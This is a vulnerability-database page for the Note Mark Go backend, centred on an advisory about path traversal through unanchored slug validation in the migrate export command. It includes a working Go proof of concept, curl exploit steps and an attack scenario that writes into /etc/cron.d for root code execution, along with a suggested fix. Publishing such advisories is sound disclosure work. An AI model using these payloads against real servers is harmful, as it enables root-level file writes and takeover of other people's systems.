Vulnerabilities in pkg:golang/github.com/enchant97/note-mark/backend

PACKAGE
Advisory Identifier: GHSA-rqrh-8wpv-x7hh
Advisory Summary

CVE-2026-50553 is a HIGH path traversal vulnerability (CWE-20: Improper Input Validation) affecting Note Mark libraries in the Go ecosystem. The issue involves path traversal via unsanitized book/note slug in migrate export (sibling of ghsa-g49p). Remediation is available by upgrading affected packages to version 0.0.0-20260601210719-67b7de04308a.

9 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/enchant97/note-mark/backend

9 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/enchant97/note-mark/backend. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-rqrh-8wpv-x7hh CVE-2026-50553 HIGH Note Mark: Path traversal via unsanitized book/note slug in migrate export (sibling of GHSA-g49p)
GHSA-588f-fvcv-xhvf CVE-2026-50554 MODERATE Note Mark: Unauthenticated disclosure of soft-deleted note metadata via deleted=true on public books
GHSA-q6mh-rqwh-g786 CVE-2026-44523 CRITICAL Note Mark has a JWT Secret Weakness that allows Full Account Takeover via Token Forgery
GHSA-g49p-4qxj-88v3 CVE-2026-44522 HIGH Note Mark: Arbitrary File Write via Path Traversal in Asset Names Leads to Remote Code Execution
GHSA-3gr9-485j-v4xf CVE-2026-41572 MODERATE Note Mark: Unauthenticated read of notes and assets in soft-deleted public books
GHSA-pxf8-6wqm-r6hh CVE-2026-41571 CRITICAL Note Mark: OIDC-registered users authenticated by submitting password "null"
GHSA-p5w6-75f9-cc2p CVE-2026-40265 MODERATE Note Mark has Broken Access Control on Asset Download
GHSA-9pr4-rf97-79qh CVE-2026-40262 HIGH Note Mark has Stored XSS via Unrestricted Asset Upload
GHSA-w6m9-39cv-2fwp CVE-2026-40263 LOW Note Mark: Username Enumeration via Login Endpoint Timing Side-Channel

CVE-2026-50553 at a Glance

CVE Identifier CVE-2026-50553
GHSA Identifier GHSA-rqrh-8wpv-x7hh
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-20: Improper Input Validation
Affected Product Note Mark
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-50553

To remediate this vulnerability, upgrade all affected Note Mark dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/enchant97/note-mark/backend fixed: 0.0.0-20260601210719-67b7de04308a
Upgrade github.com/enchant97/note-mark/backend to 0.0.0-20260601210719-67b7de04308a
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/enchant97/note-mark/backend

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-50553, inspect your project dependencies for Note Mark:

inspect dependencies for github.com/enchant97/note-mark/backend

Analyze the terminal output to locate any version of Note Mark in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260601210719-67b7de04308a), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Note Mark, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Note Mark validates book and note `slug` values with the OpenAPI/huma tag `pattern:"[a-z0-9-]+"`. huma compiles this with `regexp.MustCompile(s.Pattern)` and tests it with `patternRe.MatchString(str)`, an UNANCHORED match. Because the pattern is not anchored (`^...$`), any string that merely CONTAINS one `[a-z0-9-]` substring passes validation. A slug such as `../../../../../../tmp/escape` is accepted and stored verbatim. The data-export CLI commands (`note-mark migrate export` and `note-mark migrate export-v1`) join these unsanitized slugs straight into the output path with `path.Join` / `filepath.Join`, then `os.MkdirAll` the directory and `os.Create` the note file. `path.Join` resolves the `../` segments, so the note content file is written OUTSIDE the configured export directory. The export process commonly runs as root (default in Docker / bare-metal admin usage), so this is a root-privilege arbitrary directory create + file write. This is the unguarded sibling of GHSA-g49p-4qxj-88v3 (CVE class CWE-22 in the same export sinks). That fix added `filepath.Base(asset.Name)` to sanitize the asset filename, but the adjacent path components `book.Slug` and `note.Slug` — used in the very same `path.Join` calls in the same two export functions — were left raw, and their input-side `pattern` guard is bypassable as shown above. ## Vulnerable code Slug input validation (`backend/db/types.go`, v0.19.4): ```go type CreateBook struct { Name string `json:"name" required:"true" minLength:"1" maxLength:"80"` Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"` IsPublic bool `json:"isPublic,omitempty" default:"false"` } type CreateNote struct { Name string `json:"name" required:"true" minLength:"1" maxLength:"80"` Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"` } ``` huma applies the pattern UNANCHORED (`github.com/danielgtaylor/huma/v2@v2.37.3`): ```go // schema.go if s.Pattern != "" { s.patternRe = regexp.MustCompile(s.Pattern) ``` ```go // validate.go if s.patternRe != nil { if !s.patternRe.MatchString(str) { res.Add(path, v, s.msgPattern) ``` `regexp.MatchString("[a-z0-9-]+", "../../../../tmp/escape")` is `true` (it matches the `tmp` substring), so the traversal slug passes and `BooksService.CreateBook` / `NotesService` store it verbatim. Export sinks (`backend/cli/migrate.go`, v0.19.4). The asset filename was sanitized by the GHSA-g49p fix; the sibling slug path components were not: ```go // commandMigrateExportDataV1 / commandMigrateExportData for _, book := range user.Books { bookDir := path.Join(exportDir, user.Username, book.Slug) // book.Slug raw for _, note := range book.Notes { noteDir := path.Join(bookDir, note.Slug) // note.Slug raw if err := os.MkdirAll(noteDir, os.ModePerm); err != nil { return err } f, err := os.Create(path.Join(noteDir, "_index.md")) // escapes exportDir ``` ```go // the same functions DO sanitize the sibling asset name: assetFileName := filepath.Base(asset.Name) if assetFileName == "/" || assetFileName == "." { log.Printf("disallowed asset filename found '%s', skipping\n", asset.Name) continue } f, err := os.Create(path.Join(assetsDir, asset.ID.String()+"."+assetFileName)) ``` ## Impact A low-privilege authenticated user (any registered account that can create a book/note) sets a traversing `slug`. When an administrator later runs `note-mark migrate export` or `export-v1` (a routine backup/migration operation, commonly as root in Docker), the exporter creates attacker-chosen directories and writes the note's `_index.md` to an arbitrary filesystem location outside the export directory. With root, this allows writing to `/etc/cron.d/`, systemd unit directories, or other startup paths, escalating to code execution as root. Same trust boundary and severity class as GHSA-g49p-4qxj-88v3. ## Attack scenario 1. Attacker registers / uses any normal user account. 2. Attacker `POST /api/books` (or a note) with `slug` = `../../../../../../etc/cron.d/x` (passes the unanchored `[a-z0-9-]+` pattern). Stored verbatim. 3. Admin runs `note-mark migrate export-v1 --export-dir /data/backup` (root). 4. Exporter does `path.Join("/data/backup", username, "../../../../../../etc/cron.d/x")` which yields `/etc/cron.d/x`, then `os.MkdirAll` creates it and `os.Create(path.Join(noteDir, "_index.md"))` writes attacker-influenced content outside `/data/backup`. ## Proof of concept Self-contained Go reproducer pinning `huma v2.37.3` (Note Mark's exact version) and Note Mark's exact `CreateBook` DTO + the exact export `path.Join` expression. It demonstrates (a) the traversal slug passes huma validation, (b) a negative control that genuinely violates the charset is rejected, (c) the export sink writes the file outside the export root. ```go // go.mod: module nmpoc; go 1.24; require github.com/danielgtaylor/huma/v2 v2.37.3 package main import ( "context" "fmt" "net/http" "net/http/httptest" "os" "path" "strings" "github.com/danielgtaylor/huma/v2" "github.com/danielgtaylor/huma/v2/adapters/humago" ) // Mirror of note-mark backend/db/types.go:24-28 CreateBook DTO at v0.19.4. type CreateBook struct { Name string `json:"name" required:"true" minLength:"1" maxLength:"80"` Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"` IsPublic bool `json:"isPublic,omitempty" default:"false"` } type CreateBookInput struct{ Body CreateBook } type CreateBookOutput struct { Body struct { Slug string `json:"slug"` } } func main() { mux := http.NewServeMux() api := humago.New(mux, huma.DefaultConfig("note-mark-poc", "1.0.0")) var stored string huma.Register(api, huma.Operation{OperationID: "create-book", Method: http.MethodPost, Path: "/api/books"}, func(ctx context.Context, in *CreateBookInput) (*CreateBookOutput, error) { stored = in.Body.Slug // BooksService.CreateBook stores Slug verbatim out := &CreateBookOutput{} out.Body.Slug = in.Body.Slug return out, nil }) const traversalSlug = `../../../../../../tmp/nmpoc-escape` body := fmt.Sprintf(`{"name":"x","slug":%q}`, traversalSlug) req := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(body)) req.Header.Set("Content-Type", "application/json") rec := httptest.NewRecorder() mux.ServeHTTP(rec, req) fmt.Printf("[validation] slug=%q status=%d stored=%q\n", traversalSlug, rec.Code, stored) // Negative control: a slug with NO [a-z0-9-] char anywhere must be rejected. negReq := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(`{"name":"x","slug":"@@@@"}`)) negReq.Header.Set("Content-Type", "application/json") negRec := httptest.NewRecorder() mux.ServeHTTP(negRec, negReq) fmt.Printf("[neg-control] slug=\"@@@@\" status=%d (expect 422)\n", negRec.Code) // Export sink expression from backend/cli/migrate.go:187,191,203. exportDir := "/tmp/nmpoc-exportroot" _ = os.RemoveAll(exportDir) _ = os.RemoveAll("/tmp/nmpoc-escape") _ = os.MkdirAll(exportDir, 0o755) bookDir := path.Join(exportDir, "victim", stored) noteDir := path.Join(bookDir, "n") _ = os.MkdirAll(noteDir, 0o755) outPath := path.Join(noteDir, "_index.md") _ = os.WriteFile(outPath, []byte("PWNED-NOTE-CONTENT\n"), 0o644) escaped := !strings.HasPrefix(path.Clean(outPath), path.Clean(exportDir)+"/") fmt.Printf("[export] joined=%q escapedExportDir=%v\n", outPath, escaped) if d, err := os.ReadFile("/tmp/nmpoc-escape/n/_index.md"); err == nil { fmt.Printf("[export] SENTINEL written OUTSIDE exportDir => %q\n", strings.TrimSpace(string(d))) } } ``` Verbatim output (`go run .`, huma v2.37.3, go1.26.1): ``` [validation] slug="../../../../../../tmp/nmpoc-escape" status=200 stored="../../../../../../tmp/nmpoc-escape" [neg-control] slug="@@@@" status=422 (expect 422) [export] joined="/tmp/nmpoc-escape/n/_index.md" escapedExportDir=true [export] SENTINEL written OUTSIDE exportDir => "PWNED-NOTE-CONTENT" ``` The traversal slug is ACCEPTED (status 200) while the negative control is correctly rejected (422), and the export `path.Join` writes the note file outside the export root. ## End-to-end reproduction Against the released image `ghcr.io/enchant97/note-mark-aio:0.19.4` (the GHSA-g49p fix release): ```bash # 1. start docker run -d --name nm -p 8080:8080 -e JWT_SECRET="$(openssl rand -base64 32)" \ -e PUBLIC_URL="http://localhost:8080" ghcr.io/enchant97/note-mark-aio:0.19.4 # 2. register + login (capture Auth-Session-Token cookie) curl -s -X POST localhost:8080/api/users -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"Attack3r!","name":"a"}' TOKEN=$(curl -s -D - -X POST localhost:8080/api/auth/token -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"Attack3r!","grant_type":"password"}' \ | sed -n 's/.*Auth-Session-Token=\([^;]*\).*/\1/p') # 3. create a book with a traversing slug — passes the [a-z0-9-]+ pattern curl -s -X POST localhost:8080/api/books -H 'Content-Type: application/json' \ -b "Auth-Session-Token=$TOKEN" \ -d '{"name":"x","slug":"../../../../../../tmp/nmpoc-escape"}' # response echoes "slug":"../../../../../../tmp/nmpoc-escape" (accepted, 200/201) # 4. add a note under that book (any valid note slug), then trigger admin export docker exec nm /note-mark migrate export-v1 --export-dir /data/backup # 5. observe the note _index.md written outside /data/backup docker exec nm ls -la /tmp/nmpoc-escape/ ``` The self-contained Go reproducer above is the deterministic, version-pinned demonstration of the validation bypass + sink escape (it does not require the full image build). ## Suggested fix Apply `filepath.Base()` (the same idiom already used for `asset.Name` in the GHSA-g49p fix) to the sibling slug path components in both export functions, and/or reject the result if it differs from the raw value: ```go bookSlug := filepath.Base(book.Slug) noteSlug := filepath.Base(note.Slug) if bookSlug != book.Slug || noteSlug != note.Slug { log.Printf("disallowed slug found, skipping book=%q note=%q\n", book.Slug, note.Slug) continue } bookDir := path.Join(exportDir, user.Username, bookSlug) noteDir := path.Join(bookDir, noteSlug) ``` Root cause hardening (preferred): anchor the slug pattern at the input layer so traversal can never enter the DB. Either change the tag to an anchored regex `pattern:"^[a-z0-9-]+$"`, or reject `strings.ContainsAny(slug, "/\\.")` in the create/update handlers (mirroring the `PostNoteAsset` header check added by GHSA-g49p). `user.Username` (`pattern:"[a-zA-Z0-9]+"`) is also unanchored and should be anchored for the same reason. ## Affected versions `<= v0.19.4` (current latest release). The slug components are used unsanitized in `backend/cli/migrate.go` at v0.19.4, the release that fixed the sibling `asset.Name` traversal (GHSA-g49p-4qxj-88v3). ## Fix PR A fix is prepared on the temporary private advisory fork: `enchant97/note-mark-ghsa-rqrh-8wpv-x7hh` PR #1. It anchors the slug/username `pattern` tags (`^[a-z0-9-]+$` / `^[a-zA-Z0-9]+$`) at the input layer and adds defense-in-depth `filepath.Base()` checks to both export functions, plus a regression test. `go test ./backend/db/` passes with the fix and fails against the old unanchored pattern. ## Credit Reported by tonghuaroot.

CVE-2026-50553 Affected Note Mark Versions

1 component(s)
Fixed Versions:
0.0.0-20260601210719-67b7de04308a
Product / Package Ecosystem Affected Versions Fixed Version
github.com/enchant97/note-mark/backend
Go
< 0.0.0-20260601210719-67b7de04308a
0.0.0-20260601210719-67b7de04308a

References

Frequently Asked Questions

What is CVE-2026-50553?
CVE-2026-50553 is a security vulnerability in Note Mark involving Path traversal via unsanitized book/note slug in migrate export (sibling of GHSA-g49p) under CWE-20: Improper Input Validation.
Which Note Mark versions are affected?
Affected versions include releases prior to 0.0.0-20260601210719-67b7de04308a across affected packages: github.com/enchant97/note-mark/backend.
What version fixes CVE-2026-50553?
Upgrading to 0.0.0-20260601210719-67b7de04308a (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/enchant97/note-mark/backend affected?
Yes, github.com/enchant97/note-mark/backend is affected in releases prior to 0.0.0-20260601210719-67b7de04308a. Upgrade your dependency to 0.0.0-20260601210719-67b7de04308a or later.
What CWE is associated with CVE-2026-50553?
CVE-2026-50553 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check Go dependencies for CVE-2026-50553?
Run the dependency tree command: 'inspect dependencies for github.com/enchant97/note-mark/backend'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rqrh-8wpv-x7hh",
  "modified" : "2026-07-09T13:41:35Z",
  "published" : "2026-07-09T13:41:35Z",
  "aliases" : [ "CVE-2026-50553" ],
  "summary" : "Note Mark: Path traversal via unsanitized book/note slug in migrate export (sibling of GHSA-g49p)",
  "details" : "## Summary\n\nNote Mark validates book and note `slug` values with the OpenAPI/huma tag `pattern:\"[a-z0-9-]+\"`. huma compiles this with `regexp.MustCompile(s.Pattern)` and tests it with `patternRe.MatchString(str)`, an UNANCHORED match. Because the pattern is not anchored (`^...$`), any string that merely CONTAINS one `[a-z0-9-]` substring passes validation. A slug such as `../../../../../../tmp/escape` is accepted and stored verbatim.\n\nThe data-export CLI commands (`note-mark migrate export` and `note-mark migrate export-v1`) join these unsanitized slugs straight into the output path with `path.Join` / `filepath.Join`, then `os.MkdirAll` the directory and `os.Create` the note file. `path.Join` resolves the `../` segments, so the note content file is written OUTSIDE the configured export directory. The export process commonly runs as root (default in Docker / bare-metal admin usage), so this is a root-privilege arbitrary directory create + file write.\n\nThis is the unguarded sibling of GHSA-g49p-4qxj-88v3 (CVE class CWE-22 in the same export sinks). That fix added `filepath.Base(asset.Name)` to sanitize the asset filename, but the adjacent path components `book.Slug` and `note.Slug` — used in the very same `path.Join` calls in the same two export functions — were left raw, and their input-side `pattern` guard is bypassable as shown above.\n\n## Vulnerable code\n\nSlug input validation (`backend/db/types.go`, v0.19.4):\n\n```go\ntype CreateBook struct {\n\tName     string `json:\"name\" required:\"true\" minLength:\"1\" maxLength:\"80\"`\n\tSlug     string `json:\"slug\" required:\"true\" minLength:\"1\" maxLength:\"80\" pattern:\"[a-z0-9-]+\"`\n\tIsPublic bool   `json:\"isPublic,omitempty\" default:\"false\"`\n}\n\ntype CreateNote struct {\n\tName string `json:\"name\" required:\"true\" minLength:\"1\" maxLength:\"80\"`\n\tSlug string `json:\"slug\" required:\"true\" minLength:\"1\" maxLength:\"80\" pattern:\"[a-z0-9-]+\"`\n}\n```\n\nhuma applies the pattern UNANCHORED (`github.com/danielgtaylor/huma/v2@v2.37.3`):\n\n```go\n// schema.go\nif s.Pattern != \"\" {\n\ts.patternRe = regexp.MustCompile(s.Pattern)\n```\n\n```go\n// validate.go\nif s.patternRe != nil {\n\tif !s.patternRe.MatchString(str) {\n\t\tres.Add(path, v, s.msgPattern)\n```\n\n`regexp.MatchString(\"[a-z0-9-]+\", \"../../../../tmp/escape\")` is `true` (it matches the `tmp` substring), so the traversal slug passes and `BooksService.CreateBook` / `NotesService` store it verbatim.\n\nExport sinks (`backend/cli/migrate.go`, v0.19.4). The asset filename was sanitized by the GHSA-g49p fix; the sibling slug path components were not:\n\n```go\n// commandMigrateExportDataV1 / commandMigrateExportData\nfor _, book := range user.Books {\n\tbookDir := path.Join(exportDir, user.Username, book.Slug)   // book.Slug raw\n\tfor _, note := range book.Notes {\n\t\tnoteDir := path.Join(bookDir, note.Slug)                // note.Slug raw\n\t\tif err := os.MkdirAll(noteDir, os.ModePerm); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tf, err := os.Create(path.Join(noteDir, \"_index.md\"))    // escapes exportDir\n```\n\n```go\n// the same functions DO sanitize the sibling asset name:\nassetFileName := filepath.Base(asset.Name)\nif assetFileName == \"/\" || assetFileName == \".\" {\n\tlog.Printf(\"disallowed asset filename found '%s', skipping\\n\", asset.Name)\n\tcontinue\n}\nf, err := os.Create(path.Join(assetsDir, asset.ID.String()+\".\"+assetFileName))\n```\n\n## Impact\n\nA low-privilege authenticated user (any registered account that can create a book/note) sets a traversing `slug`. When an administrator later runs `note-mark migrate export` or `export-v1` (a routine backup/migration operation, commonly as root in Docker), the exporter creates attacker-chosen directories and writes the note's `_index.md` to an arbitrary filesystem location outside the export directory. With root, this allows writing to `/etc/cron.d/`, systemd unit directories, or other startup paths, escalating to code execution as root. Same trust boundary and severity class as GHSA-g49p-4qxj-88v3.\n\n## Attack scenario\n\n1. Attacker registers / uses any normal user account.\n2. Attacker `POST /api/books` (or a note) with `slug` = `../../../../../../etc/cron.d/x` (passes the unanchored `[a-z0-9-]+` pattern). Stored verbatim.\n3. Admin runs `note-mark migrate export-v1 --export-dir /data/backup` (root).\n4. Exporter does `path.Join(\"/data/backup\", username, \"../../../../../../etc/cron.d/x\")` which yields `/etc/cron.d/x`, then `os.MkdirAll` creates it and `os.Create(path.Join(noteDir, \"_index.md\"))` writes attacker-influenced content outside `/data/backup`.\n\n## Proof of concept\n\nSelf-contained Go reproducer pinning `huma v2.37.3` (Note Mark's exact version) and Note Mark's exact `CreateBook` DTO + the exact export `path.Join` expression. It demonstrates (a) the traversal slug passes huma validation, (b) a negative control that genuinely violates the charset is rejected, (c) the export sink writes the file outside the export root.\n\n```go\n// go.mod: module nmpoc; go 1.24; require github.com/danielgtaylor/huma/v2 v2.37.3\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"path\"\n\t\"strings\"\n\n\t\"github.com/danielgtaylor/huma/v2\"\n\t\"github.com/danielgtaylor/huma/v2/adapters/humago\"\n)\n\n// Mirror of note-mark backend/db/types.go:24-28 CreateBook DTO at v0.19.4.\ntype CreateBook struct {\n\tName     string `json:\"name\" required:\"true\" minLength:\"1\" maxLength:\"80\"`\n\tSlug     string `json:\"slug\" required:\"true\" minLength:\"1\" maxLength:\"80\" pattern:\"[a-z0-9-]+\"`\n\tIsPublic bool   `json:\"isPublic,omitempty\" default:\"false\"`\n}\ntype CreateBookInput struct{ Body CreateBook }\ntype CreateBookOutput struct {\n\tBody struct {\n\t\tSlug string `json:\"slug\"`\n\t}\n}\n\nfunc main() {\n\tmux := http.NewServeMux()\n\tapi := humago.New(mux, huma.DefaultConfig(\"note-mark-poc\", \"1.0.0\"))\n\tvar stored string\n\thuma.Register(api, huma.Operation{OperationID: \"create-book\", Method: http.MethodPost, Path: \"/api/books\"},\n\t\tfunc(ctx context.Context, in *CreateBookInput) (*CreateBookOutput, error) {\n\t\t\tstored = in.Body.Slug // BooksService.CreateBook stores Slug verbatim\n\t\t\tout := &CreateBookOutput{}\n\t\t\tout.Body.Slug = in.Body.Slug\n\t\t\treturn out, nil\n\t\t})\n\n\tconst traversalSlug = `../../../../../../tmp/nmpoc-escape`\n\tbody := fmt.Sprintf(`{\"name\":\"x\",\"slug\":%q}`, traversalSlug)\n\treq := httptest.NewRequest(http.MethodPost, \"/api/books\", strings.NewReader(body))\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\trec := httptest.NewRecorder()\n\tmux.ServeHTTP(rec, req)\n\tfmt.Printf(\"[validation] slug=%q status=%d stored=%q\\n\", traversalSlug, rec.Code, stored)\n\n\t// Negative control: a slug with NO [a-z0-9-] char anywhere must be rejected.\n\tnegReq := httptest.NewRequest(http.MethodPost, \"/api/books\", strings.NewReader(`{\"name\":\"x\",\"slug\":\"@@@@\"}`))\n\tnegReq.Header.Set(\"Content-Type\", \"application/json\")\n\tnegRec := httptest.NewRecorder()\n\tmux.ServeHTTP(negRec, negReq)\n\tfmt.Printf(\"[neg-control] slug=\\\"@@@@\\\" status=%d (expect 422)\\n\", negRec.Code)\n\n\t// Export sink expression from backend/cli/migrate.go:187,191,203.\n\texportDir := \"/tmp/nmpoc-exportroot\"\n\t_ = os.RemoveAll(exportDir)\n\t_ = os.RemoveAll(\"/tmp/nmpoc-escape\")\n\t_ = os.MkdirAll(exportDir, 0o755)\n\tbookDir := path.Join(exportDir, \"victim\", stored)\n\tnoteDir := path.Join(bookDir, \"n\")\n\t_ = os.MkdirAll(noteDir, 0o755)\n\toutPath := path.Join(noteDir, \"_index.md\")\n\t_ = os.WriteFile(outPath, []byte(\"PWNED-NOTE-CONTENT\\n\"), 0o644)\n\tescaped := !strings.HasPrefix(path.Clean(outPath), path.Clean(exportDir)+\"/\")\n\tfmt.Printf(\"[export] joined=%q escapedExportDir=%v\\n\", outPath, escaped)\n\tif d, err := os.ReadFile(\"/tmp/nmpoc-escape/n/_index.md\"); err == nil {\n\t\tfmt.Printf(\"[export] SENTINEL written OUTSIDE exportDir => %q\\n\", strings.TrimSpace(string(d)))\n\t}\n}\n```\n\nVerbatim output (`go run .`, huma v2.37.3, go1.26.1):\n\n```\n[validation] slug=\"../../../../../../tmp/nmpoc-escape\" status=200 stored=\"../../../../../../tmp/nmpoc-escape\"\n[neg-control] slug=\"@@@@\" status=422 (expect 422)\n[export] joined=\"/tmp/nmpoc-escape/n/_index.md\" escapedExportDir=true\n[export] SENTINEL written OUTSIDE exportDir => \"PWNED-NOTE-CONTENT\"\n```\n\nThe traversal slug is ACCEPTED (status 200) while the negative control is correctly rejected (422), and the export `path.Join` writes the note file outside the export root.\n\n## End-to-end reproduction\n\nAgainst the released image `ghcr.io/enchant97/note-mark-aio:0.19.4` (the GHSA-g49p fix release):\n\n```bash\n# 1. start\ndocker run -d --name nm -p 8080:8080 -e JWT_SECRET=\"$(openssl rand -base64 32)\" \\\n  -e PUBLIC_URL=\"http://localhost:8080\" ghcr.io/enchant97/note-mark-aio:0.19.4\n# 2. register + login (capture Auth-Session-Token cookie)\ncurl -s -X POST localhost:8080/api/users -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"attacker\",\"password\":\"Attack3r!\",\"name\":\"a\"}'\nTOKEN=$(curl -s -D - -X POST localhost:8080/api/auth/token -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"attacker\",\"password\":\"Attack3r!\",\"grant_type\":\"password\"}' \\\n  | sed -n 's/.*Auth-Session-Token=\\([^;]*\\).*/\\1/p')\n# 3. create a book with a traversing slug — passes the [a-z0-9-]+ pattern\ncurl -s -X POST localhost:8080/api/books -H 'Content-Type: application/json' \\\n  -b \"Auth-Session-Token=$TOKEN\" \\\n  -d '{\"name\":\"x\",\"slug\":\"../../../../../../tmp/nmpoc-escape\"}'\n#    response echoes \"slug\":\"../../../../../../tmp/nmpoc-escape\" (accepted, 200/201)\n# 4. add a note under that book (any valid note slug), then trigger admin export\ndocker exec nm /note-mark migrate export-v1 --export-dir /data/backup\n# 5. observe the note _index.md written outside /data/backup\ndocker exec nm ls -la /tmp/nmpoc-escape/\n```\n\nThe self-contained Go reproducer above is the deterministic, version-pinned demonstration of the validation bypass + sink escape (it does not require the full image build).\n\n## Suggested fix\n\nApply `filepath.Base()` (the same idiom already used for `asset.Name` in the GHSA-g49p fix) to the sibling slug path components in both export functions, and/or reject the result if it differs from the raw value:\n\n```go\nbookSlug := filepath.Base(book.Slug)\nnoteSlug := filepath.Base(note.Slug)\nif bookSlug != book.Slug || noteSlug != note.Slug {\n\tlog.Printf(\"disallowed slug found, skipping book=%q note=%q\\n\", book.Slug, note.Slug)\n\tcontinue\n}\nbookDir := path.Join(exportDir, user.Username, bookSlug)\nnoteDir := path.Join(bookDir, noteSlug)\n```\n\nRoot cause hardening (preferred): anchor the slug pattern at the input layer so traversal can never enter the DB. Either change the tag to an anchored regex `pattern:\"^[a-z0-9-]+$\"`, or reject `strings.ContainsAny(slug, \"/\\\\.\")` in the create/update handlers (mirroring the `PostNoteAsset` header check added by GHSA-g49p). `user.Username` (`pattern:\"[a-zA-Z0-9]+\"`) is also unanchored and should be anchored for the same reason.\n\n## Affected versions\n\n`<= v0.19.4` (current latest release). The slug components are used unsanitized in `backend/cli/migrate.go` at v0.19.4, the release that fixed the sibling `asset.Name` traversal (GHSA-g49p-4qxj-88v3).\n\n## Fix PR\n\nA fix is prepared on the temporary private advisory fork: `enchant97/note-mark-ghsa-rqrh-8wpv-x7hh` PR #1. It anchors the slug/username `pattern` tags (`^[a-z0-9-]+$` / `^[a-zA-Z0-9]+$`) at the input layer and adds defense-in-depth `filepath.Base()` checks to both export functions, plus a regression test. `go test ./backend/db/` passes with the fix and fails against the old unanchored pattern.\n\n## Credit\n\nReported by tonghuaroot.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/enchant97/note-mark/backend"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260601210719-67b7de04308a"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/enchant97/note-mark/security/advisories/GHSA-rqrh-8wpv-x7hh"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/enchant97/note-mark/commit/67b7de04308a858ef27ceff87b514067b6d667e5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/enchant97/note-mark"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-09T13:41:35Z",
    "nvd_published_at" : null
  }
}